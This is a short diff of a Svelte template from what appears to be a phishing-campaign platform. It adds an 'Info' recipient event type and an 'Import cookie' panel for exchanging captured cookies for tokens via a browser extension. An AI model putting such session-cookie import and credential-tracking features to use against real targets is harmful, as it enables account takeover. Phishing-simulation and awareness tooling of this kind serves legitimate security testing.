- {#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported']] as [key, label]} + {#each [['campaign_recipient_scheduled', 'Scheduled'], ['campaign_recipient_cancelled', 'Cancelled'], ['campaign_recipient_message_sent', 'Message Sent'], ['campaign_recipient_message_failed', 'Message Failed'], ['campaign_recipient_message_read', 'Message Read'], ['campaign_recipient_before_page_visited', 'Before Page Visited'], ['campaign_recipient_page_visited', 'Page Visited'], ['campaign_recipient_after_page_visited', 'After Page Visited'], ['campaign_recipient_deny_page_visited', 'Deny Page Visited'], ['campaign_recipient_submitted_data', 'Data Submitted'], ['campaign_recipient_reported', 'Reported'], ['campaign_recipient_info', 'Info']] as [key, label]}
+ +
+ +
+ {:else} + +
+

+ Import cookie +

+

+ Cookies can be imported and exchanged for tokens using the Session Sushi extension. +

+
+ + +
+ +
+ {/if}